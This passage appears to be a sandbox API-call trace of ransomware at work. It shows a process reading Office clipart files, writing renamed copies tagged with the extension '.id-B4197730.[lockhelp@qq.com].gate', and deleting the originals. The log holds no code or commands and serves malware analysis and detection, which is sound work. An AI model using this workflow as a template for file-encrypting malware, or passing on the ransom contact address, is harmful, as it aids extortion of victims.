lstrlenW (lpString=".1cd") returned 4 [0318.277] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0318.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68 [0318.277] lstrlenW (lpString=".jpg") returned 4 [0318.277] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0318.277] GetFileSizeEx (in: hFile=0x4c4, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=4628) returned 1 [0318.277] CloseHandle (hObject=0x4c4) returned 1 [0318.277] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105250.wmf")) returned 0x220 [0318.277] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105250.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0318.278] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105250.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0318.278] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0318.278] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0318.278] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105250.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4 [0318.279] GetLastError () returned 0x0 [0318.279] ReadFile (in: hFile=0x4c4, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x1214, lpOverlapped=0x0) returned 1 [0318.409] WriteFile (in: hFile=0x4a4, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0x1220, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0x1220, lpOverlapped=0x0) returned 1 [0318.410] ReadFile (in: hFile=0x4c4, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0318.410] WriteFile (in: hFile=0x4a4, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xec, lpOverlapped=0x0) returned 1 [0318.410] SetEndOfFile (hFile=0x4a4) returned 1 [0318.413] CloseHandle (hObject=0x4a4) returned 1 [0318.414] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0318.414] SetEndOfFile (hFile=0x4c4) returned 1 [0318.418] CloseHandle (hObject=0x4c4) returned 1 [0318.418] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0318.577] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105250.wmf")) returned 1 [0318.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68 [0318.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68 [0318.578] lstrlenW (lpString=".doc") returned 4 [0318.578] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0318.578] lstrlenW (lpString=".docx") returned 5 [0318.578] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0318.578] lstrlenW (lpString=".pdf") returned 4 [0318.578] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0318.578] lstrlenW (lpString=".xls") returned 4 [0318.578] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0318.578] lstrlenW (lpString=".xlsx") returned 5 [0318.578] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0318.578] lstrlenW (lpString=".ppt") returned 4 [0318.578] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0318.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68 [0318.578] lstrlenW (lpString=".zip") returned 4 [0318.578] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0318.578] lstrlenW (lpString=".rar") returned 4 [0318.578] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0318.578] lstrlenW (lpString=".bz2") returned 4 [0318.578] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0318.578] lstrlenW (lpString=".7z") returned 3 [0318.578] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0318.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68 [0318.578] lstrlenW (lpString=".dbf") returned 4 [0318.578] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0318.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68 [0318.578] lstrlenW (lpString=".1cd") returned 4 [0318.578] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0318.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF") returned 68 [0318.578] lstrlenW (lpString=".jpg") returned 4 [0318.578] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0318.579] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0318.579] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0318.579] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105282.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0318.580] GetLastError () returned 0x0 [0318.580] ReadFile (in: hFile=0x3a0, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x12bc, lpOverlapped=0x0) returned 1 [0318.581] WriteFile (in: hFile=0x334, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0x12c0, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0x12c0, lpOverlapped=0x0) returned 1 [0318.582] ReadFile (in: hFile=0x3a0, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0318.582] WriteFile (in: hFile=0x334, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xec, lpOverlapped=0x0) returned 1 [0318.582] SetEndOfFile (hFile=0x334) returned 1 [0318.582] CloseHandle (hObject=0x334) returned 1 [0318.582] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0318.582] SetEndOfFile (hFile=0x3a0) returned 1 [0318.584] CloseHandle (hObject=0x3a0) returned 1 [0318.584] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0318.585] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105282.wmf")) returned 1 [0318.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68 [0318.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68 [0318.585] lstrlenW (lpString=".doc") returned 4 [0318.585] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0318.585] lstrlenW (lpString=".docx") returned 5 [0318.585] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0318.585] lstrlenW (lpString=".pdf") returned 4 [0318.585] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0318.585] lstrlenW (lpString=".xls") returned 4 [0318.586] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0318.586] lstrlenW (lpString=".xlsx") returned 5 [0318.586] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0318.586] lstrlenW (lpString=".ppt") returned 4 [0318.586] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0318.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68 [0318.586] lstrlenW (lpString=".zip") returned 4 [0318.586] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0318.586] lstrlenW (lpString=".rar") returned 4 [0318.586] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0318.586] lstrlenW (lpString=".bz2") returned 4 [0318.586] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0318.586] lstrlenW (lpString=".7z") returned 3 [0318.586] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0318.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68 [0318.586] lstrlenW (lpString=".dbf") returned 4 [0318.586] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0318.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68 [0318.586] lstrlenW (lpString=".1cd") returned 4 [0318.586] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0318.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68 [0318.586] lstrlenW (lpString=".jpg") returned 4 [0318.586] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0318.587] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0318.587] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0318.587] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105286.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0318.588] GetLastError () returned 0x0 [0318.588] ReadFile (in: hFile=0x3a0, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x19a8, lpOverlapped=0x0) returned 1 [0318.712] WriteFile (in: hFile=0x334, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0x19b0, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0x19b0, lpOverlapped=0x0) returned 1 [0318.713] ReadFile (in: hFile=0x3a0, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0318.713] WriteFile (in: hFile=0x334, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xec, lpOverlapped=0x0) returned 1 [0318.713] SetEndOfFile (hFile=0x334) returned 1 [0318.714] CloseHandle (hObject=0x334) returned 1 [0318.714] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0318.714] SetEndOfFile (hFile=0x3a0) returned 1 [0318.716] CloseHandle (hObject=0x3a0) returned 1 [0318.716] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0318.716] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105286.wmf")) returned 1 [0318.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68 [0318.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68 [0318.717] lstrlenW (lpString=".doc") returned 4 [0318.717] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0318.717] lstrlenW (lpString=".docx") returned 5 [0318.717] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0318.717] lstrlenW (lpString=".pdf") returned 4 [0318.717] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0318.717] lstrlenW (lpString=".xls") returned 4 [0318.717] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0318.717] lstrlenW (lpString=".xlsx") returned 5 [0318.717] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0318.717] lstrlenW (lpString=".ppt") returned 4 [0318.717] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0318.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68 [0318.717] lstrlenW (lpString=".zip") returned 4 [0318.717] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0318.717] lstrlenW (lpString=".rar") returned 4 [0318.717] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0318.717] lstrlenW (lpString=".bz2") returned 4 [0318.717] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0318.717] lstrlenW (lpString=".7z") returned 3 [0318.717] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0318.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68 [0318.717] lstrlenW (lpString=".dbf") returned 4 [0318.717] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0318.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68 [0318.717] lstrlenW (lpString=".1cd") returned 4 [0318.717] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0318.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68 [0318.717] lstrlenW (lpString=".jpg") returned 4 [0318.718] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0318.718] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0318.718] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0318.718] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105306.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0318.719] GetLastError () returned 0x0 [0318.719] ReadFile (in: hFile=0x3a0, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x10e0, lpOverlapped=0x0) returned 1 [0318.777] WriteFile (in: hFile=0x334, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0x10f0, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0x10f0, lpOverlapped=0x0) returned 1 [0318.778] ReadFile (in: hFile=0x3a0, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0318.778] WriteFile (in: hFile=0x334, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xec, lpOverlapped=0x0) returned 1 [0318.778] SetEndOfFile (hFile=0x334) returned 1 [0318.778] CloseHandle (hObject=0x334) returned 1 [0318.778] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0318.778] SetEndOfFile (hFile=0x3a0) returned 1 [0318.781] CloseHandle (hObject=0x3a0) returned 1 [0318.781] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0318.781] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105306.wmf")) returned 1 [0318.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68 [0318.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68 [0318.782] lstrlenW (lpString=".doc") returned 4 [0318.782] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0318.782] lstrlenW (lpString=".docx") returned 5 [0318.782] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0318.782] lstrlenW (lpString=".pdf") returned 4 [0318.782] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0318.782] lstrlenW (lpString=".xls") returned 4 [0318.782] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0318.782] lstrlenW (lpString=".xlsx") returned 5 [0318.782] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0318.782] lstrlenW (lpString=".ppt") returned 4 [0318.782] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0318.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68 [0318.783] lstrlenW (lpString=".zip") returned 4 [0318.783] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0318.783] lstrlenW (lpString=".rar") returned 4 [0318.783] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0318.783] lstrlenW (lpString=".bz2") returned 4 [0318.783] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0318.783] lstrlenW (lpString=".7z") returned 3 [0318.783] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0318.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68 [0318.783] lstrlenW (lpString=".dbf") returned 4 [0318.783] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0318.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68 [0318.783] lstrlenW (lpString=".1cd") returned 4 [0318.783] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0318.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68 [0318.783] lstrlenW (lpString=".jpg") returned 4 [0318.783] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0319.254] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0319.254] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0319.254] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105336.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0319.255] GetLastError () returned 0x0 [0319.255] ReadFile (in: hFile=0x320, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0xb54, lpOverlapped=0x0) returned 1 [0319.359] WriteFile (in: hFile=0x384, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xb60, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xb60, lpOverlapped=0x0) returned 1 [0319.431] ReadFile (in: hFile=0x320, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0319.431] WriteFile (in: hFile=0x384, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xec, lpOverlapped=0x0) returned 1 [0319.431] SetEndOfFile (hFile=0x384) returned 1 [0319.431] CloseHandle (hObject=0x384) returned 1 [0319.431] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0319.431] SetEndOfFile (hFile=0x320) returned 1 [0319.434] CloseHandle (hObject=0x320) returned 1 [0319.437] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0319.437] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105336.wmf")) returned 1 [0319.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68 [0319.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68 [0319.438] lstrlenW (lpString=".doc") returned 4 [0319.438] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0319.438] lstrlenW (lpString=".docx") returned 5 [0319.438] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0319.438] lstrlenW (lpString=".pdf") returned 4 [0319.439] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0319.439] lstrlenW (lpString=".xls") returned 4 [0319.439] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0319.439] lstrlenW (lpString=".xlsx") returned 5 [0319.439] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0319.439] lstrlenW (lpString=".ppt") returned 4 [0319.439] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0319.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68 [0319.439] lstrlenW (lpString=".zip") returned 4 [0319.439] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0319.439] lstrlenW (lpString=".rar") returned 4 [0319.439] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0319.439] lstrlenW (lpString=".bz2") returned 4 [0319.439] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0319.439] lstrlenW (lpString=".7z") returned 3 [0319.439] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0319.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68 [0319.440] lstrlenW (lpString=".dbf") returned 4 [0319.440] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0319.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68 [0319.440] lstrlenW (lpString=".1cd") returned 4 [0319.440] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0319.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68 [0319.440] lstrlenW (lpString=".jpg") returned 4 [0319.440] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0319.440] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x740708 | out: hHeap=0x6e0000) returned 1 [0319.440] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x73c000 | out: hHeap=0x6e0000) returned 1 [0319.440] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x3ea0048 | out: hHeap=0x6e0000) returned 1 [0319.442] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x3eb0050 | out: hHeap=0x6e0000) returned 1 [0319.446] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x3fae020 | out: hHeap=0x6e0000) returned 1 [0319.453] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x740528 | out: 